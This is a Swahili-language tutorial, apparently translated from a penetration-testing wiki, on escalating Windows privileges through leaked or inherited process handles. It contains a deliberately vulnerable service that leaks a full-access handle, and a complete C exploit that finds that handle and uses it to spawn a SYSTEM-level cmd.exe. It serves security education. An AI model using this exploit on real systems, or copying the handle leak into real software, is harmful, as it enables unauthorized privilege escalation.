Kifungo katika mchakato huruhusu kupata rasilimali tofauti za Windows:
Tayari kumekuwa na visa kadhaa vya kuinua mamlaka ambapo mchakato uliopewa mamlaka na kifungo kilichofunguliwa na kurithi kimeendesha mchakato usio na mamlaka ukimpa upatikanaji wa vile vifungo vyote.
Kwa mfano, fikiria kwamba mchakato unaoendeshwa kama SYSTEM unafungua mchakato mpya (OpenProcess()) na upatikanaji kamili. Mchakato huo huo pia unajenga mchakato mpya (CreateProcess()) na mamlaka madogo lakini kurithi vile vifungo vyote vilivyofunguliwa vya mchakato mkuu.
Kisha, ikiwa una upatikanaji kamili wa mchakato wa mamlaka ya chini, unaweza kunasa kifungo kilichofunguliwa kwa mchakato ulioundwa wa mamlaka kwa kutumia OpenProcess() na kuingiza shellcode.
Vifungo Vinavyovutia
Mchakato
Kama ulivyosoma kwenye mfano wa awali ikiwa mchakato usio na mamlaka unarithi kifungo cha mchakato wa mchakato wenye mamlaka na mamlaka za kutosha, itaweza kutekeleza nambari ya kupendelea.
Katika makala bora hii unaweza kuona jinsi ya kuvamia kifungo chochote cha mchakato kilicho na mojawapo ya mamlaka zifuatazo:
PROCESS_ALL_ACCESS
PROCESS_CREATE_PROCESS
PROCESS_CREATE_THREAD
PROCESS_DUP_HANDLE
PROCESS_VM_WRITE
Thread
Kama ilivyo kwa vifungo vya mchakato, ikiwa mchakato usio na mamlaka unarithi kifungo cha mnyororo wa mchakato wenye mamlaka na mamlaka za kutosha, itaweza kutekeleza nambari ya kupendelea.
Katika makala bora hii pia unaweza kuona jinsi ya kuvamia kifungo chochote cha mchakato kilicho na mojawapo ya mamlaka zifuatazo:
THREAD_ALL_ACCESS
THREAD_DIRECT_IMPERSONATION
THREAD_SET_CONTEXT
Vifungo vya Faili, Funguo & Sehemu
Ikiwa mchakato usio na mamlaka unarithi kifungo chini na mamlaka sawa za kuandika juu ya faili au usajili wenye mamlaka, itaweza kubadilisha faili/usajili (na kwa bahati nyingi, kupandisha mamlaka).
Vifungo vya Sehemu ni sawa na vifungo vya faili, jina la kawaida la vitu hivi ni "Kufanya Faili". Hutumiwa kufanya kazi na faili kubwa bila kuiweka faili nzima akilini. Hii inafanya uvamizi kuwa "kama" uvamizi wa Kifungo cha Faili.
Jinsi ya kuona vifungo vya mchakato
Mchakato Hacker
Mchakato Hacker ni chombo unachoweza kupakua bure. Kina chaguo nyingi nzuri za kupekua mchakato na moja wapo ni uwezo wa kuona vifungo vya kila mchakato.
Tambua kwamba ili kuona vifungo vyote vya mchakato wote, SeDebugPrivilege inahitajika (kwa hivyo unahitaji kuendesha Mchakato Hacker kama msimamizi).
Kuona vifungo vya mchakato, bofya kulia kwenye mchakato na chagua Vifungo:
Kisha bofya kulia kwenye kifungo na angalia mamlaka:
Vifungo vya Sysinternals
Vifungokutoka kwa Sysinternals pia itaorodhesha vifungo kwa kila mchakato kwenye konsoli:
LeakedHandlesFinder
Chombo hiki kinakuruhusu kufuatilia vifungo vilivyovuja na hata kuvamia moja kwa moja ili kupandisha mamlaka.
Mbinu
Sasa unajua jinsi ya kupata vifungo vya mchakato unachohitaji kuangalia ni ikiwa mchakato usio na mamlaka una upatikanaji wa vifungo vya mamlaka. Katika kesi hiyo, mtumiaji wa mchakato anaweza kuweza kupata kifungo na kukitumia vibaya ili kupandisha mamlaka.
Ilitajwa awali kwamba unahitaji SeDebugPrivilege kupata vifungo vyote. Lakini mtumiaji bado anaweza kupata vifungo vya mchakato wake, kwa hivyo inaweza kuwa na manufaa ikiwa unataka kupandisha mamlaka kutoka kwa mtumiaji huyo kwa kutekeleza zana kwa ruhusa za kawaida za mtumiaji.
Kwa mfano, msimbo ufuatao unahusiana na huduma ya Windows ambayo ingekuwa na mapungufu. Msimbo wenye mapungufu wa programu hii ya huduma uko ndani ya kazi ya Exploit. Kazi hii inaanza kuunda mchakato mpya wa kushughulikia na ufikiaji kamili. Kisha, inaendelea kuunda mchakato wa kiwango cha chini (kwa kunakili ishara ya kiwango cha chini ya explorer.exe) ikitekeleza C:\users\username\desktop\client.exe. Mapungufu yapo katika ukweli kwamba inaunda mchakato wa kiwango cha chini na bInheritHandles kama TRUE.
Hivyo basi, mchakato huu wa kiwango cha chini unaweza kunasa kushughulikia mchakato wa kiwango cha juu uliozalishwa kwanza na kuingiza na kutekeleza msimbo wa kifuniko (angalia sehemu inayofuata).
#include<windows.h>#include<tlhelp32.h>#include<tchar.h>#pragmacomment (lib, "advapi32")TCHAR* serviceName =TEXT("HandleLeakSrv");SERVICE_STATUS serviceStatus;SERVICE_STATUS_HANDLE serviceStatusHandle =0;HANDLE stopServiceEvent =0;//Find PID of a proces from its nameintFindTarget(constchar*procname) {HANDLE hProcSnap;PROCESSENTRY32 pe32;int pid =0;hProcSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if (INVALID_HANDLE_VALUE == hProcSnap) return0;pe32.dwSize =sizeof(PROCESSENTRY32);if (!Process32First(hProcSnap,&pe32)) {CloseHandle(hProcSnap);return0;}while (Process32Next(hProcSnap,&pe32)) {if (lstrcmpiA(procname,pe32.szExeFile)==0) {pid =pe32.th32ProcessID;break;}}CloseHandle(hProcSnap);return pid;}intExploit(void) {STARTUPINFOA si;PROCESS_INFORMATION pi;int pid =0;HANDLE hUserToken;HANDLE hUserProc;HANDLE hProc;// open a handle to itself (privileged process) - this gets leaked!hProc =OpenProcess(PROCESS_ALL_ACCESS,TRUE, GetCurrentProcessId());// get PID of user low privileged processif ( pid =FindTarget("explorer.exe") )hUserProc =OpenProcess(PROCESS_QUERY_INFORMATION,FALSE, pid);elsereturn-1;// extract low privilege token from a user's processif (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS,&hUserToken)) {CloseHandle(hUserProc);return-1;}// spawn a child process with low privs and leaked handleZeroMemory(&si,sizeof(si));si.cb =sizeof(si);ZeroMemory(&pi,sizeof(pi));CreateProcessAsUserA(hUserToken,"C:\\users\\username\\Desktop\\client.exe",NULL,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);CloseHandle(hProc);CloseHandle(hUserProc);return0;}void WINAPI ServiceControlHandler( DWORD controlCode ) {switch ( controlCode ) {case SERVICE_CONTROL_SHUTDOWN:case SERVICE_CONTROL_STOP:serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );SetEvent( stopServiceEvent );return;case SERVICE_CONTROL_PAUSE:break;case SERVICE_CONTROL_CONTINUE:break;case SERVICE_CONTROL_INTERROGATE:break;default:break;}SetServiceStatus( serviceStatusHandle,&serviceStatus );}void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {// initialise service statusserviceStatus.dwServiceType = SERVICE_WIN32;serviceStatus.dwCurrentState = SERVICE_STOPPED;serviceStatus.dwControlsAccepted =0;serviceStatus.dwWin32ExitCode = NO_ERROR;serviceStatus.dwServiceSpecificExitCode = NO_ERROR;serviceStatus.dwCheckPoint =0;serviceStatus.dwWaitHint =0;serviceStatusHandle =RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );if ( serviceStatusHandle ) {// service is startingserviceStatus.dwCurrentState = SERVICE_START_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do initialisation herestopServiceEvent =CreateEvent( 0,FALSE,FALSE,0 );// runningserviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_RUNNING;SetServiceStatus( serviceStatusHandle,&serviceStatus );Exploit();WaitForSingleObject( stopServiceEvent,-1 );// service was stoppedserviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do cleanup hereCloseHandle( stopServiceEvent );stopServiceEvent =0;// service is now stoppedserviceStatus.dwControlsAccepted &=~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_STOPPED;SetServiceStatus( serviceStatusHandle,&serviceStatus );}}voidInstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CREATE_SERVICE );if ( serviceControlManager ) {TCHAR path[ _MAX_PATH +1 ];if ( GetModuleFileName( 0, path,sizeof(path)/sizeof(path[0]) )>0 ) {SC_HANDLE service =CreateService( serviceControlManager,serviceName, serviceName,SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,0,0,0,0,0 );if ( service )CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}voidUninstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CONNECT );if ( serviceControlManager ) {SC_HANDLE service =OpenService( serviceControlManager,serviceName, SERVICE_QUERY_STATUS | DELETE );if ( service ) {SERVICE_STATUS serviceStatus;if ( QueryServiceStatus( service,&serviceStatus ) ) {if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )DeleteService( service );}CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}int_tmain( int argc, TCHAR* argv[] ){if ( argc >1&&lstrcmpi( argv[1], TEXT("install") )==0 ) {InstallService();}elseif ( argc >1&&lstrcmpi( argv[1], TEXT("uninstall") )==0 ) {UninstallService();}else {SERVICE_TABLE_ENTRY serviceTable[]= {{ serviceName, ServiceMain },{ 0,0 }};StartServiceCtrlDispatcher( serviceTable );}return0;}
Mfano wa Kutumia Mabavu 1
Katika hali halisi labda hutaweza kudhibiti faili ya binary itakayotekelezwa na msimbo wenye kasoro (C:\users\username\desktop\client.exe katika kesi hii). Labda uta haribu mchakato na utahitaji kuangalia kama unaweza kupata ufikiaji wa kushughulikia yoyote ya mchakato wenye mamlaka.
Katika mfano huu unaweza kupata msimbo wa mabavu wa iwezekanavyo kwa C:\users\username\desktop\client.exe.
Sehemu yenye kuvutia zaidi ya msimbo huu iko katika GetVulnProcHandle. Kazi hii itaanza kupata mabavu yote, kisha ita angalia kama yoyote kati yao ni sehemu sawa ya PID na ikiwa kushughulikia hilo ni la mchakato. Ikiwa mahitaji yote haya yametimizwa (kushughulikia la mchakato lililofunguliwa linapatikana), itajaribu kuingiza na kutekeleza shellcode ikidhuru kushughulikia la mchakato.
Uingizaji wa shellcode unafanywa ndani ya kazi ya Inject na ita andika shellcode ndani ya mchakato wenye mamlaka na kuunda mnyororo ndani ya mchakato huo huo ili kutekeleza shellcode.
Katika hali halisi labda hutaweza kudhibiti faili ya binary itakayotekelezwa na msimbo wenye kasoro (C:\users\username\desktop\client.exe katika kesi hii). Labda uta haribu mchakato na utahitaji kuangalia kama unaweza kupata ufikiaji wa kushughulikia yoyote yenye kasoro ya mchakato wowote wenye mamlaka.
Katika mfano huu, badala ya kutumia kushughulikia wazi kuingiza na kutekeleza shellcode, itatumika ishara ya mchakato iliyoshughulikiwa yenye mamlaka kujenga mpya. Hii inafanywa kwenye mistari kutoka 138 hadi 148.
Tafadhali angalia jinsi kazi UpdateProcThreadAttribute inavyotumiwa na sifa PROC_THREAD_ATTRIBUTE_PARENT_PROCESS na kushughulikia mchakato uliofunguliwa wenye mamlaka. Hii inamaanisha kwamba mchakato wa mnyororo wa kazi ulioundwa ukiendesha _cmd.exe_** utakuwa na mamlaka sawa na mchakato ulio na kushughulikia wazi**.
#include<windows.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<time.h>#include<wincrypt.h>#include<psapi.h>#include<tchar.h>#include<tlhelp32.h>#include"client.h"#pragmacomment (lib, "crypt32.lib")#pragmacomment (lib, "advapi32")#pragmacomment (lib, "kernel32")HANDLE GetVulnProcHandle(void) {ULONG handleInfoSize =0x10000;NTSTATUS status;PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);HANDLE hProc =NULL;POBJECT_TYPE_INFORMATION objectTypeInfo;PVOID objectNameInfo;UNICODE_STRING objectName;ULONG returnLength;HMODULE hNtdll =GetModuleHandleA("ntdll.dll");DWORD dwOwnPID =GetCurrentProcessId();pNtQuerySystemInformation =GetProcAddress(hNtdll,"NtQuerySystemInformation");pNtDuplicateObject =GetProcAddress(hNtdll,"NtDuplicateObject");pNtQueryObject =GetProcAddress(hNtdll,"NtQueryObject");pRtlEqualUnicodeString =GetProcAddress(hNtdll,"RtlEqualUnicodeString");pRtlInitUnicodeString =GetProcAddress(hNtdll,"RtlInitUnicodeString");printf("[+] Grabbing handles...");while ((status =pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,NULL )) == STATUS_INFO_LENGTH_MISMATCH)phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *=2);if (status != STATUS_SUCCESS){printf("[!] NtQuerySystemInformation failed!\n");return0;}printf("done.\n[+] Fetched %d handles.\n",phHandleInfo->NumberOfHandles);// iterate handles until we find the privileged process handlefor (int i =0; i <phHandleInfo->NumberOfHandles; ++i){SYSTEM_HANDLE_TABLE_ENTRY_INFO handle =phHandleInfo->Handles[i];// Check if this handle belongs to our own processif (handle.UniqueProcessId != dwOwnPID)continue;objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectTypeInformation,objectTypeInfo,0x1000,NULL )!= STATUS_SUCCESS)continue;// skip some objects to avoid getting stuck// see: https://github.com/adamdriscoll/PoshInternals/issues/7if (handle.GrantedAccess ==0x0012019f&&handle.GrantedAccess !=0x00120189&&handle.GrantedAccess !=0x120089&&handle.GrantedAccess !=0x1A019F ) {free(objectTypeInfo);continue;}// get object name informationobjectNameInfo =malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,0x1000,&returnLength )!= STATUS_SUCCESS) {// adjust the size of a returned object and query againobjectNameInfo =realloc(objectNameInfo, returnLength);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,returnLength,NULL )!= STATUS_SUCCESS) {free(objectTypeInfo);free(objectNameInfo);continue;}}// check if we've got a process objectobjectName =*(PUNICODE_STRING) objectNameInfo;UNICODE_STRING pProcess;pRtlInitUnicodeString(&pProcess, L"Process");if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName,&pProcess,TRUE)) {printf("[+] Found process handle (%x)\n",handle.HandleValue);hProc = (HANDLE) handle.HandleValue;free(objectTypeInfo);free(objectNameInfo);break;}elsecontinue;free(objectTypeInfo);free(objectNameInfo);}return hProc;}intmain(int argc,char**argv) {HANDLE hProc =NULL;STARTUPINFOEXA si;PROCESS_INFORMATION pi;int pid =0;SIZE_T size;BOOL ret;Sleep(20000);// find leaked process handlehProc =GetVulnProcHandle();if ( hProc !=NULL) {// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESSZeroMemory(&si,sizeof(STARTUPINFOEXA));InitializeProcThreadAttributeList(NULL,1,0,&size);si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(),0, size );InitializeProcThreadAttributeList(si.lpAttributeList,1,0,&size);UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb =sizeof(STARTUPINFOEXA);// Spawn elevated cmd processret =CreateProcessA( "C:\\Windows\\system32\\cmd.exe",NULL,NULL,NULL,TRUE,EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,NULL,NULL, (LPSTARTUPINFOA)(&si),&pi );if (ret ==FALSE) {printf("[!] Error spawning new process: [%d]\n", GetLastError());return-1;}}Sleep(20000);return0;}
Chombo hiki kinakuwezesha kufuatilia vifungo vilivyovuja ili kupata vile vilivyo hatarini na hata kuvitumia kiotomatiki. Pia kina chombo cha kuvuja kimoja.